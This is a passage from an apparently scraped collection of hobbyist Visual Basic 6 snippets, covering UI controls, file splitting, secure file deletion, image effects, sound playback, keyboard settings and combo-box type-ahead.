fNewValue\nPropertyChanged \"CaptionFont\"\nDrawBevel iBevelType\nEnd Property\nPublic Property Get Enabled() As Boolean\n Enabled = bEnabled\nEnd Property\nPublic Property Let Enabled(ByVal bNewValue As Boolean)\n bEnabled = bNewValue\n PropertyChanged \"Enabled\"\nEnd Property\nPublic Property Get hWnd() As Long\n hWnd = UserControl.hWnd\nEnd Property\nPublic Property Let hWnd(ByVal lnewValue As Long)\n 'Do nothing\nEnd Property\nPublic Property Get AlwaysDrawBevel() As Boolean\nAlwaysDrawBevel = bButtonsAlwaysUp\nEnd Property\nPublic Property Let AlwaysDrawBevel(ByVal bNewValue As Boolean)\nbButtonsAlwaysUp = bNewValue\nPropertyChanged \"AlwaysDrawBevel\"\nForceRedraw\nEnd Property\nPublic Property Get AutoDim() As Boolean\n AutoDim = bAutoDim\nEnd Property\nPublic Property Let AutoDim(ByVal bNewValue As Boolean)\n bAutoDim = bNewValue\n PropertyChanged \"AutoDim\"\n \n If bAutoDim Then\n If Ambient.UserMode Then GenerateDimmedPictures\n Else\n FreeDimmedBitmaps\n End If\nEnd Property\n\nPublic Property Get TextPositionV() As eVTextPosition\n TextPositionV = lvTextPosition\nEnd Property\nPublic Property Let TextPositionV(ByVal iNewValue As eVTextPosition)\n lvTextPosition = iNewValue\n PropertyChanged \"TextPositionV\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get TextPositionH() As eHTextPosition\n TextPositionH = lhTextPosition\nEnd Property\nPublic Property Let TextPositionH(ByVal iNewValue As eHTextPosition)\n lhTextPosition = iNewValue\n \n PropertyChanged \"TextPositionH\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get colourIgnore() As OLE_COLOR\n colourIgnore = colour_Ignore\nEnd Property\nPublic Property Let colourIgnore(ByVal cNewValue As OLE_COLOR)\n colour_Ignore = cNewValue\n \n PropertyChanged \"colourIgnore\"\nEnd Property\nPublic Property Get AutoColour() As Boolean\n AutoColour = bAutoColour\nEnd Property\nPublic Property Let AutoColour(ByVal bNewValue As Boolean)\n Static bUsingOldColour As Boolean\n Static colourOld As OLE_COLOR\n If HasBackColourProperty(UserControl.Extender.Container) Then\n If bNewValue Then\n colourOld = colourBackColour\n colourBackColour = UserControl.Extender.Container.BackColor\n bUsingOldColour = True\n Else\n If bUsingOldColour Then colourBackColour = colourOld\n End If\n \n bAutoColour = bNewValue\n PropertyChanged \"AutoColour\"\n Else\n bNewValue = False\n bAutoColour = False\n VBA.MsgBox \"Sorry, AutoColour can't be changed, because the container doesn't support a BackColor property!\", vbExclamation\n End If\nEnd Property\n"},{"WorldId":1,"id":1629,"LineNumber":1,"line":"'Paste this code into a module mAboutDialog\n'\n'This is a subs function for windows system menu calls\nPublic Function SubsMenuProc(ByVal lFRMWinHandel As Long, ByVal lMessage As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n 'Only capture system commands\n Select Case lMessage\n Case WM_SYSCOMMAND\n 'Only capture our new about menu's clicks\n If wParam = ABOUT_ID Then\n 'Show the about box\n FRMAbout.Show 1\n Exit Function\n End If\n End Select\n 'Do the rest of windows stuff\n SubsMenuProc = CallWindowProc(OldProcedure, lFRMWinHandel, lMessage, wParam, lParam)\nEnd Function\n'This function should be called from the Onload event of the form you want\n'the system menu to contain a About Menu\nPublic Sub AddAboutForm(ByVal lFormWindowHandel As Long, MenuDescription As String)\n Dim hSysMenu As Long\n 'Get the handel to the system menu\n hSysMenu = GetSystemMenu(lFormWindowHandel, 0&)\n 'Add a nice line\n Call AppendMenu(hSysMenu, MF_SEPARATOR, 0&, 0&)\n 'Make sure you have a menu description\n If MenuDescription = \"\" Then MenuDescription = \"About\"\n 'Add the About menu description\n Call AppendMenu(hSysMenu, MF_STRING, ABOUT_ID, MenuDescription)\n 'Direct windows to the new function for the menu\n OldProcedure = SetWindowLong(lFormWindowHandel, GWL_WNDPROC, AddressOf SubsMenuProc)\nEnd Sub\n"},{"WorldId":1,"id":1636,"LineNumber":1,"line":"'**************************************\n'This code must be copied into the form\n'**************************************\n'\nOption Explicit\nDim CompDC As Long, hBmp As Long, CompDCOrg As Long, hBmp2 As Long\nDim SourceHDC As Long, SourceBMP As Long, SourceBMP2 As Long\nDim SourceHDC2 As Long\nDim rtn As Long, xsize As Long, ysize As Long\nDim xbounce As Long, ybounce As Long\nDim aw As Integer, xdir As Integer, ydir As Integer, iloop As Integer\nDim StayInLoop As Boolean\nPrivate Sub Form_Activate()\n Randomize\n 'The x and y size of the picture in pixels for the API's\n xsize = Picture1.Width / Screen.TwipsPerPixelX\n ysize = Picture1.Height / Screen.TwipsPerPixelY\n 'The aw (Alteration Width) of the glass deformation object\n aw = 20\n 'xdir and ydir is the bounce directional variables\n xdir = (Rnd * 5) + 1\n ydir = (Rnd * 5) + 1\n 'Make a copy of both picture's into memory DC's\n Call MakeCopyOfImgage\n 'Make sure the display picture doesn't redraw itself\n Picture1.AutoRedraw = False\n 'The next variable controls the animation loop\n StayInLoop = False\n 'Copy the origanal image to the visible picture box\n rtn = BitBlt(Picture1.hdc, 0, 0, xsize, ysize, CompDCOrg, 0, 0, SRCCOPY)\n 'xbounce and ybounce is the center-point of the glass object\n 'making it aw will display it in the top left-hand corner of the picture box\n xbounce = aw: ybounce = aw\nEnd Sub\n\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\n 'Terminate the animation loop\n StayInLoop = False\n 'Free the memory used for the DC's\n Call DeleteCopyOfImage\nEnd Sub\nPrivate Sub Command1_Click()\n StayInLoop = Not StayInLoop\n While StayInLoop\n 'Reset the portion of the DC that was deformed\n Call ResetPortion(xbounce, ybounce, aw)\n 'Do the movement\n xbounce = xbounce + xdir\n If xbounce > xsize - aw Then xdir = -(Rnd * 5) - 1\n ybounce = ybounce + ydir\n If ybounce > ysize - aw Then ydir = -(Rnd * 5) - 1\n If xbounce < aw Then xdir = (Rnd * 5) + 1\n If ybounce < aw Then ydir = (Rnd * 5) + 1\n 'Do the deformation on the memory DC\n Call Stretch(xbounce, ybounce, aw)\n 'Copy the memory DC to the visible picture box\n rtn = BitBlt(Picture1.hdc, 0, 0, xsize, ysize, CompDC, 0, 0, SRCCOPY)\n 'Let windows do some other stuff (I WILL NOT RECOMEND TO REMOVE THE NEXT LINE)\n DoEvents\n Wend\nEnd Sub\nSub Stretch(ByVal xpos As Long, ByVal ypos As Long, ByVal areawidth As Long)\n Dim Stretchit As Double, i As Double\n Dim rtn As Long\n 'The next variable set's the percentage of deformation\n 'You can change this variable to get some interesting effects\n Stretchit = 0.9\n For i = 2 To 0.1 Step -0.2\n rtn = StretchBlt(CompDC, _\n xpos - (areawidth * i), _\n ypos - (areawidth * i), _\n (areawidth * i) * 2, _\n (areawidth * i) * 2, _\n CompDC, _\n (xpos - (areawidth * Stretchit * i)), _\n (ypos - (areawidth * Stretchit * i)), _\n (areawidth * Stretchit * i) * 2, _\n (areawidth * Stretchit * i) * 2, _\n SRCCOPY)\n Next i\nEnd Sub\nSub ResetPortion(ByVal xpos As Long, ByVal ypos As Long, ByVal areawidth As Long)\n Dim rtn As Long\n 'This next line will reset the are on the DC that was deformed\n rtn = BitBlt(CompDC, _\n xpos - (areawidth * 2), _\n ypos - (areawidth * 2), _\n (areawidth) * 4, _\n (areawidth) * 4, _\n CompDCOrg, _\n xpos - (areawidth * 2), _\n ypos - (areawidth * 2), _\n SRCCOPY)\nEnd Sub\nSub MakeCopyOfImgage()\n 'Get the handel to the DC for the two picture boxes\n SourceHDC = Picture1.hdc\n SourceHDC2 = Picture2.hdc\n 'Get the pictures\n SourceBMP = Picture1.Picture\n SourceBMP2 = Picture2.Picture\n 'Create the to memory DC's\n CompDC = CreateCompatibleDC(SourceHDC)\n CompDCOrg = CreateCompatibleDC(SourceHDC)\n 'Copy the pictures to these DC's\n hBmp = SelectObject(CompDC, SourceBMP)\n hBmp2 = SelectObject(CompDCOrg, SourceBMP2)\nEnd Sub\nSub DeleteCopyOfImage()\n 'Delete the memory DC's\n rtn = DeleteDC(CompDC)\n rtn = DeleteDC(CompDCOrg)\nEnd Sub\n"},{"WorldId":1,"id":1645,"LineNumber":1,"line":"Const T1 = vbTab\nConst T2 = T1 & T1\nConst TR = T1 & \"<TR>\"\nConst TD = \"<TD>\"\nConst TDEND = \"</TD>\"\nConst TABLESTART = \"<TABLE BORDER WIDTH=100%>\"\nConst TABLEEND = \"</TABLE>\"\nFunction HTMLTable(dbRecord As Recordset) As String\nDim strReturn As String\nDim Fld As Field\nOn Error GoTo Return_Zero\nstrReturn = strReturn & TABLESTART & vbCrLf\nstrReturn = strReturn & TR\nFor Each Fld In dbRecord.Fields\n strReturn = strReturn & TD & Fld.Name & TDEND\nNext Fld\nstrReturn = strReturn & vbCrLf\ndbRecord.MoveFirst\nWhile Not dbRecord.EOF\n strReturn = strReturn & TR\n For Each Fld In dbRecord.Fields\n strReturn = strReturn & TD & Fld.Value & TDEND\n Next Fld\n strReturn = strReturn & vbCrLf\ndbRecord.MoveNext\nWend\nstrReturn = strReturn & TABLEEND\nReturn_Zero:\nHTMLTable = strReturn\nEnd Function"},{"WorldId":1,"id":1648,"LineNumber":1,"line":"'Example: Call SaveListBox(list1, \"C:\\Temp\\MyList.dat\")\nPublic Sub SaveListBox(TheList As ListBox, Directory As String)\n Dim SaveList As Long\n On Error Resume Next\n Open Directory$ For Output As #1\n For SaveList& = 0 To TheList.ListCount - 1\n Print #1, TheList.List(SaveList&)\n Next SaveList&\n Close #1\nEnd Sub\n'Example: Call LoadListBox(list1, \"C:\\Temp\\MyList.dat\")\nPublic Sub LoadListBox(TheList As ListBox, Directory As String)\n Dim MyString As String\n On Error Resume Next\n Open Directory$ For Input As #1\n While Not EOF(1)\n Input #1, MyString$\n DoEvents\n TheList.AddItem MyString$\n Wend\n Close #1\n \nEnd Sub\nPublic Sub PrintListBox(TheList As ListBox)\n Dim SaveList As Long\n On Error Resume Next\n Printer.FontSize = 12\n For SaveList& = 0 To TheList.ListCount - 1\n Printer.Print TheList.List(SaveList&)\n Next SaveList&\n Printer.EndDoc\nEnd Sub\nPublic Function PrintLV(lv As ListView, Subs As Integer)\n \n Printer.FontSize = 12\n Dim subit As Variant\n Dim i As Integer\n Dim x As Integer\n For i = 1 To lv.ListItems.Count\n subit = lv.ListItems(i).Text & vbTab\n For x = 1 To Subs\n subit = subit & lv.ListItems(i).SubItems(x) & vbTab\n Next\n Printer.Print subit\n subit = \"\"\n Next\n Printer.EndDoc\nEnd Function\nPublic Function SaveLV(lv As ListView, Subs As Integer, sPath As String)\n \n Dim subit As Variant\n Dim F As Integer\n Dim i As Integer\n Dim x As Integer\n F = FreeFile\n On Error Resume Next\n Open sPath For Output As #F\n For i = 1 To lv.ListItems.Count\n subit = lv.ListItems(i).Text & vbTab\n For x = 1 To Subs\n subit = subit & lv.ListItems(i).SubItems(x) & vbTab\n Next\n Print #F, subit\n subit = \"\"\n Next\n Close #F\nEnd Function\n"},{"WorldId":1,"id":1650,"LineNumber":1,"line":"Sub DestroyFile(sFileName As String)\n Dim Block1 As String, Block2 As String, Blocks As Long\n Dim hFileHandle As Integer, iLoop As Long, offset As Long\n 'Create two buffers with a specified 'wipe-out' characters\n Const BLOCKSIZE = 4096\n Block1 = String(BLOCKSIZE, \"X\")\n Block2 = String(BLOCKSIZE, \" \")\n 'Overwrite the file contents with the wipe-out characters\n hFileHandle = FreeFile\n Open sFileName For Binary As hFileHandle\n Blocks = (LOF(hFileHandle) \\ BLOCKSIZE) + 1\n For iLoop = 1 To Blocks\n offset = Seek(hFileHandle)\n Put hFileHandle, , Block1\n Put hFileHandle, offset, Block2\n Next iLoop\n Close hFileHandle\n 'Now you can delete the file, which contains no sensitive data\n Kill sFileName\nEnd Sub"},{"WorldId":1,"id":1653,"LineNumber":1,"line":"'enjoy! ;D\n\n'put this in a module, we don't want the user to\n'see this lil function, he has no need too\nPublic Function ChrAscii(Char As String) As Long\n Dim GetAscii&\n For GetAscii& = 0 To 255\n If Mid(Char$, 1, 1) = Chr(GetAscii) Then\n ChrAscii = GetAscii\n Exit Function\n End If\n Next GetAscii&\nEnd Function\n\n'Double Click on the user control, and in the General Declarations\n'Put this... these are the subs the you will use\nPublic Function TextToBinary(StringT As String) As String\nDim Ascii, FinalBinary$, GetNum&\nFinalBinary$ = \"\"\nFor GetNum& = 1 To Len(StringT$)\n Ascii = ChrAscii(Mid(StringT$, GetNum, 1))\n' 128\n If Ascii >= 128 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 128\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 64\n If Ascii >= 64 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 64\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 32\n If Ascii >= 32 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 32\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 16\n If Ascii >= 16 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 16\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 8\n If Ascii >= 8 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 8\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 4\n If Ascii >= 4 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 4\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 2\n If Ascii >= 2 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 2\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 1\n If Ascii >= 1 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 1\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n If Mid(StringT$, GetNum + 1, 1) = Chr(32) Then\n FinalBinary$ = FinalBinary$ '& \" \"\n Else\n FinalBinary$ = FinalBinary$ '& Chr(32)\n End If\n Next GetNum&\n TextToBinary$ = FinalBinary$\nEnd Function\nPublic Function BinaryToText(BinaryString As String) As String\nDim GetBinary&, Num$, Binary&, FinalString$, NewString$\nNextChr:\nFor GetBinary& = 1 To 8\n Num$ = Mid(BinaryString$, GetBinary&, 1)\n Select Case Num$\n \n Case \"1\"\n If GetBinary = 1 Then\n Binary = Binary + 128\n ElseIf GetBinary = 2 Then\n Binary = Binary + 64\n ElseIf GetBinary = 3 Then\n Binary = Binary + 32\n ElseIf GetBinary = 4 Then\n Binary = Binary + 16\n ElseIf GetBinary = 5 Then\n Binary = Binary + 8\n ElseIf GetBinary = 6 Then\n Binary = Binary + 4\n ElseIf GetBinary = 7 Then\n Binary = Binary + 2\n ElseIf GetBinary = 8 Then\n Binary = Binary + 1\n End If\n End Select\n Next GetBinary&\nFinalString$ = FinalString$ & Chr(Binary)\nNewString$ = Mid(BinaryString$, 9)\n \n If NewString$ = \"\" Then\n BinaryToText$ = FinalString$\n Else\n BinaryString$ = NewString$\n Binary = 0\n GoTo NextChr\n End If\nEnd Function\nPublic Function IsBinary(StringB As String) As Boolean\nDim XX$, GetLet&\nFor GetLet& = 1 To Len(StringB$)\n XX$ = Mid(StringB$, GetLet&, 1)\n If XX$ <> \"0\" Or XX$ <> \"1\" Then\n If XX$ = \"0\" Or XX$ = \"1\" Then GoTo GetNext\n IsBinary = False\n Exit Function\n Else\n '''\n End If\nGetNext:\nNext GetLet&\nIsBinary = True\n End Function"},{"WorldId":1,"id":1654,"LineNumber":1,"line":"Sub WAVStop()\nCall WAVPlay(\" \")\nEnd Sub\nSub WAVLoop(File)\nDim SoundName As String\nSoundName$ = File\nwFlags% = SND_ASYNC Or SND_LOOP\nX = sndPlaySound(SoundName$, wFlags%)\nEnd Sub\nSub WAVPlay(File)\nDim SoundName As String\nSoundName$ = File\nwFlags% = SND_ASYNC Or SND_NODEFAULT\nX = sndPlaySound(SoundName$, wFlags%)\nEnd Sub"},{"WorldId":1,"id":1655,"LineNumber":1,"line":"Sub WindowHandle(win,cas as long)\n'by storm\n'Case 0 = CloseWindow\n'Case 1 = Show Win\n'Case 2 = Hide Win\n'Case 3 = Max Win\n'Case 4 = Min Win\nSelect Case cas\nCase 0:\nDim X%\nX% = SendMessage(win, WM_CLOSE, 0, 0)\nCase 1:\nX = ShowWindow(win, SW_SHOW)\nCase 2:\nX = ShowWindow(win, SW_HIDE)\nCase 3:\nX = ShowWindow(win, SW_MAXIMIZE)\nCase 4:\nX = ShowWindow(win, SW_MINIMIZE)\nEnd Select\n'any questions e-mail me at storm@n2.com\nEnd Sub"},{"WorldId":1,"id":1658,"LineNumber":1,"line":"Public Sub SetTransparent(frm As Form, obj() As Object)\n 'This code was takin from a AOL Visual Basic\n 'Message Board. It was submited by: SOOPRcow\n 'Modified By Satin Katiyar\n Dim rctClient As RECT, rctFrame As RECT\n Dim hClient As Long, hFrame As Long, hObj As Long\n Dim Start As Integer, Finish As Integer, I As Integer\n \n '// Grab client area and frame area\n GetWindowRect frm.hWnd, rctFrame\n GetClientRect frm.hWnd, rctClient\n \n '// Convert client coordinates to screen coordinates\n Dim lpTL As POINTAPI, lpBR As POINTAPI\n lpTL.x = rctFrame.Left\n lpTL.Y = rctFrame.Top\n lpBR.x = rctFrame.Right\n lpBR.Y = rctFrame.Bottom\n ScreenToClient frm.hWnd, lpTL\n ScreenToClient frm.hWnd, lpBR\n rctFrame.Left = lpTL.x\n rctFrame.Top = lpTL.Y\n rctFrame.Right = lpBR.x\n rctFrame.Bottom = lpBR.Y\n rctClient.Left = Abs(rctFrame.Left)\n rctClient.Top = Abs(rctFrame.Top)\n rctClient.Right = rctClient.Right + Abs(rctFrame.Left)\n rctClient.Bottom = rctClient.Bottom + Abs(rctFrame.Top)\n rctFrame.Right = rctFrame.Right + Abs(rctFrame.Left)\n rctFrame.Bottom = rctFrame.Bottom + Abs(rctFrame.Top)\n rctFrame.Top = 0\n rctFrame.Left = 0\n '// Convert RECT structures to region handles\n hClient = CreateRectRgn(rctClient.Left, rctClient.Top, rctClient.Right, rctClient.Bottom)\n hFrame = CreateRectRgn(rctFrame.Left, rctFrame.Top, rctFrame.Right, rctFrame.Bottom)\n '//Set the Scale mode of form to pixels\n Dim mode As Integer\n mode = frm.ScaleMode\n frm.ScaleMode = 3\n '// Create the new \"Transparent\" boundry & Add the control regions to it\n CombineRgn hFrame, hClient, hFrame, RGN_XOR\n Start = LBound(obj)\n Finish = UBound(obj)\n For I = Start To Finish\n hObj = CreateRectRgn(obj(I).Left + 4, obj(I).Top + 23, obj(I).Left + obj(I).Width + 4, obj(I).Top + obj(I).Height + 23)\n CombineRgn hFrame, hObj, hFrame, RGN_OR\n Next\n '// Now lock the window's area to this created region\n SetWindowRgn frm.hWnd, hFrame, True\n '//Restores the scale mode\n frm.ScaleMode = mode\nEnd Sub\n"},{"WorldId":1,"id":1662,"LineNumber":1,"line":"'***********************************\n'*** PASTE THIS CODE INTO A FORM ***\n'***********************************\nOption Explicit\nPrivate Sub Command1_Click()\n Dim Ans As String\n Ans = GetOpenFileNameDLG(\"File to split *.*|*.*|File to combine *.000|*.000|\", \"Please select a file\", \"\", Me.hwnd)\n If Ans <> \"\" Then\n Text1.Text = Ans\n End If\nEnd Sub\nPrivate Sub Command2_Click()\n \n 'Check that somting is selected\n If Not CheckForFile Then Exit Sub\n \n 'Ok split the file in the current directory\n \n If SplitFile(Text1.Text, Combo1.ItemData(Combo1.ListIndex)) Then\n MsgBox \"File was split!\"\n Else\n MsgBox \"Error splitting file...\"\n End If\n \n \nEnd Sub\nPrivate Sub Command3_Click()\n 'Check that somting is selected\n If Not CheckForFile Then Exit Sub\n 'Check to see if it is a Split file with extension \"MYFILE.SP(x)\"\n \n If (Right$(Text1.Text, 3)) <> \"000\" Then\n MsgBox \"That's not the proper extension for a split file. It should be somthing like Myfile.000, the first file of the split files.\", 16, \"No go !\"\n Exit Sub\n End If\n \n 'Ok assemble the files in the current directory\n \n If AssembleFile(Text1.Text) Then\n MsgBox \"File assembled!\"\n Else\n MsgBox \"Error assembeling file...\"\n End If\nEnd Sub\nPrivate Sub Command4_Click()\n Unload Me\n End\nEnd Sub\nPrivate Sub Form_Load()\n Text1.Text = \"\"\n Combo1.AddItem \"16 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 16\n Combo1.AddItem \"32 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 32\n Combo1.AddItem \"64 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 64\n Combo1.AddItem \"128 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 128\n Combo1.AddItem \"256 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 256\n Combo1.AddItem \"512 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 512\n Combo1.AddItem \"720 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 720\n Combo1.AddItem \"1200 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 1200\n Combo1.AddItem \"1440 Kb\"\n Combo1.ItemData(Combo1.NewIndex) = 1440\n Combo1.ListIndex = Combo1.ListCount - 1\n Command1.Caption = \"Browse\"\n Command2.Caption = \"Split File\"\n Command3.Caption = \"Assemble Files\"\n Command4.Caption = \"Cancel\"\nEnd Sub\nFunction CheckForFile() As Boolean\n 'We don't want nasty spaces in the end\n Text1.Text = Trim(Text1.Text)\n CheckForFile = False\n 'Check for text in textbox\n If Text1.Text = \"\" Then\n 'Stop !! no text entered\n MsgBox \"Please select a file first!\", 16, \"No file selected\"\n Exit Function\n End If\n 'Check if the file excists\n If Dir$(Text1.Text, vbNormal) = \"\" Then\n 'Stop !! no file\n MsgBox \"The file '\" & Text1.Text & \"' was not found!\", 16, \"File non excistend?!\"\n Exit Function\n End If\n CheckForFile = True\nEnd Function\nFunction SplitFile(Filename As String, Filesize As Long) As Boolean\nOn Error GoTo handelsplit\n \n Dim lSizeOfFile As Long, iCountFiles As Integer\n Dim iNumberOfFiles As Integer, lSizeOfCurrentFile As Long\n Dim sBuffer As String '10Kb buffer\n Dim sRemainBuffer As String, lEndPart As Long\n Dim lSizeToSplit As Long, sHeader As String * 16\n Dim iFileCounter As Integer, sNewFilename As String\n Dim lWhereInFileCounter As Long\n \n If MsgBox(\"Continue to split file?\", 4 + 32 + 256, \"Split?\") = vbNo Then\n SplitFile = False\n Exit Function\n End If\n \n Open Filename For Binary As #1\n lSizeOfFile = LOF(1)\n lSizeToSplit = Filesize * 1024\n \n 'Check if the file is actualy larger than the selected split size\n If lSizeOfFile <= lSizeToSplit Then\n Close #1\n SplitFile = False\n MsgBox \"This file is smaller than the selected split size! Why split it ?\", 16, \"Duh!\"\n Exit Function\n End If\n \n 'Check if file isn't alread split\n sHeader = Input(16, #1)\n Close #1\n If Mid$(sHeader, 1, 7) = \"SPLITIT\" Then\n MsgBox \"This file is alread split!\"\n SplitFile = False\n Exit Function\n End If\n \n Open Filename For Binary As #1\n lSizeOfFile = LOF(1)\n lSizeToSplit = Filesize * 1024\n \n 'Write the header of the split file\n ' Signature = \"SPLITIT\" = Size 7\n ' Split Number = \"xxx\" = Size 3\n ' Total Number of Split Files = \"xxx\" = Size 3\n ' Origanal file extension = \"aaa\" = Size 3\n 'Total of 16 for header\n \n iCountFiles = 0\n iNumberOfFiles = (lSizeOfFile \\ lSizeToSplit) + 1\n \n sHeader = \"SPLITIT\" & Format$(iFileCounter, \"000\") & Format$(iNumberOfFiles, \"000\") & Right$(Filename, 3)\n sNewFilename = Left$(Filename, Len(Filename) - 3) & Format$(iFileCounter, \"000\")\n Open sNewFilename For Binary As #2\n Put #2, , sHeader 'Write the header\n lSizeOfCurrentFile = Len(sHeader)\n \n While Not EOF(1)\n Me.Caption = \"File Split : \" & iFileCounter & \" (\" & Int(lSizeOfCurrentFile / 1024) & \" Kb)\"\n Me.Refresh\n sBuffer = Input(10240, #1)\n lSizeOfCurrentFile = lSizeOfCurrentFile + Len(sBuffer)\n If lSizeOfCurrentFile > lSizeToSplit Then\n 'Write last bit\n lEndPart = Len(sBuffer) - (lSizeOfCurrentFile - lSizeToSplit) + Len(sHeader)\n Put #2, , Mid$(sBuffer, 1, lEndPart)\n Close #2\n 'Make new file\n iFileCounter = iFileCounter + 1\n sHeader = \"SPLITIT\" & Format$(iFileCounter, \"000\") & Format$(iNumberOfFiles, \"000\") & Right$(Filename, 3)\n sNewFilename = Left$(Filename, Len(Filename) - 3) & Format$(iFileCounter, \"000\")\n Open sNewFilename For Binary As #2\n Put #2, , sHeader 'Write the header\n 'Put Rest of buffer read\n Put #2, , Mid$(sBuffer, lEndPart + 1)\n lSizeOfCurrentFile = Len(sHeader) + (Len(sBuffer) - lEndPart)\n Else\n Put #2, , sBuffer\n End If\n Wend\n \n Me.Caption = \"Finished\"\n \n Close #2\n Close #1\n SplitFile = True\n Exit Function\nhandelsplit:\n SplitFile = False\n MsgBox Err.Description, 16, \"Error #\" & Err.Number\n Exit Function\nEnd Function\nFunction AssembleFile(Filename As String) As Boolean\nOn Error GoTo handelassemble\n Dim sHeader As String * 16\n Dim sBuffer As String '10Kb buffer\n Dim sFileExt As String, iNumberOfFiles As Integer\n Dim iCurrentFileNumber As Integer\n Dim iCounter As Integer, sTempFilename As String\n Dim sNewFilename As String\n If MsgBox(\"Continue to assemble file?\", 4 + 256 + 32, \"Assemble?\") = vbNo Then\n AssembleFile = False\n Exit Function\n End If\n \n Open Filename For Binary As #1\n sHeader = Input(Len(sHeader), #1)\n \n 'Check if it's a split file !!!\n If Mid$(sHeader, 1, 7) <> \"SPLITIT\" Then\n MsgBox \"This is not a split file ;) nice try!\"\n AssembleFile = False\n Exit Function\n Else\n 'The first file is a split file ok\n 'Read the header values\n iCurrentFileNumber = Val(Mid$(sHeader, 8, 3))\n iNumberOfFiles = Val(Mid$(sHeader, 11, 3))\n sFileExt = Mid$(sHeader, 14, 3)\n If iCurrentFileNumber <> 0 Then\n MsgBox \"This is not the first file in the sequence!!! AAAGGHH!\"\n AssembleFile = False\n Exit Function\n End If\n End If\n \n Close #1\n \n sNewFilename = Left$(Filename, Len(Filename) - 3) & sFileExt\n 'Create the assembled file\n Open sNewFilename For Binary As #2\n \n 'Assemble files\n For iCounter = 0 To iNumberOfFiles - 1\n sTempFilename = Left$(Filename, Len(Filename) - 3) & Format$(iCounter, \"000\")\n \n Me.Caption = \"File Assemble : \" & sTempFilename\n Me.Refresh\n \n Open sTempFilename For Binary As #1\n sHeader = Input(Len(sHeader), #1)\n If Mid$(sHeader, 1, 7) <> \"SPLITIT\" Then\n MsgBox \"This is not a split file ;) nice try! \" & sTempFilename\n AssembleFile = False\n Exit Function\n End If\n iCurrentFileNumber = Val(Mid$(sHeader, 8, 3))\n If iCurrentFileNumber <> iCounter Then\n MsgBox \"The file '\" & sTempFilename & \"' is out of sequence!! AARRGHH!\"\n AssembleFile = False\n Close #2\n Close #1\n Exit Function\n End If\n While Not EOF(1)\n sBuffer = Input(10240, #1)\n Put #2, , sBuffer\n Wend\n Close #1\n Next iCounter\n Close #2\n \n Me.Caption = \"Finished\"\n \n AssembleFile = True\n Exit Function\nhandelassemble:\n AssembleFile = False\n MsgBox Err.Description, 16, \"Error #\" & Err.Number\n Exit Function\nEnd Function\n"},{"WorldId":1,"id":1674,"LineNumber":1,"line":"Sub SetFastKeyboard()\n Dim Retcode As Long\n Dim FastKeySpeed As Long\n Dim FastKeyDelay As Long\n Dim dummy As Long\n FastKeySpeed = 31\n FastKeyDelay = 0\n dummy = 0\n \n Retcode = SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, OldKeySpeed, 0)\n Retcode = SystemParametersInfo(SPI_GETKEYBOARDDELAY, 0, OldKeyDelay, 0)\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDSPEED, FastKeySpeed, dummy, SPIF_SENDCHANGE)\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDDELAY, FastKeyDelay, dummy, SPIF_SENDCHANGE)\nEnd Sub\nSub RestoreKeyboard()\n Dim Retcode As Long\n Dim dummy As Long\n dummy = 0\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDSPEED, OldKeySpeed, dummy, SPIF_SENDCHANGE)\n Retcode = SystemParametersInfo(SPI_SETKEYBOARDDELAY, OldKeyDelay, dummy, SPIF_SENDCHANGE)\nEnd Sub"},{"WorldId":1,"id":1679,"LineNumber":1,"line":"Public Sub Combo_AddNew(ByRef cboCurrent As ComboBox, _\n Optional blnCaseSensitive As Boolean = False, _\n Optional blnAddAsUpperCase As Boolean = True)\n \nDim lngServerNum As Long\nDim blnFoundMatch As Boolean\nDim strNewItem As String, strCurrentItem As String\nstrNewItem = cboCurrent.Text\nIf Not blnCaseSensitive Then strNewItem = UCase(strNewItem)\n'Search for matches\nblnFoundMatch = False\nFor lngServerNum = 0 To cboCurrent.ListCount - 1\n strCurrentItem = cboCurrent.List(lngServerNum)\n If Not blnCaseSensitive Then strCurrentItem = UCase(strCurrentItem)\n If strCurrentItem = strNewItem Then blnFoundMatch = True\nNext lngServerNum\n'If one is found, add and re-select\nIf Not blnFoundMatch Then\n If Not blnAddAsUpperCase Then\n cboCurrent.AddItem cboCurrent.Text\n Else\n cboCurrent.AddItem UCase(cboCurrent.Text)\n End If\n \n cboCurrent.ListIndex = cboCurrent.NewIndex\nEnd If\n \nEnd Sub\nPublic Sub Combo_TypeAhead(ByRef cboCurrent As ComboBox, _\n Optional blnCaseSensitive As Boolean = False)\n'This function will allow the combobox cboCurrent to have the type-ahead feature _\nfound in Access. When the user types in text, it will look for a matching item in the _\nlist and add the remainder of the item on, and highlight the text.\n'By default, the comparison is not case sensitive. If 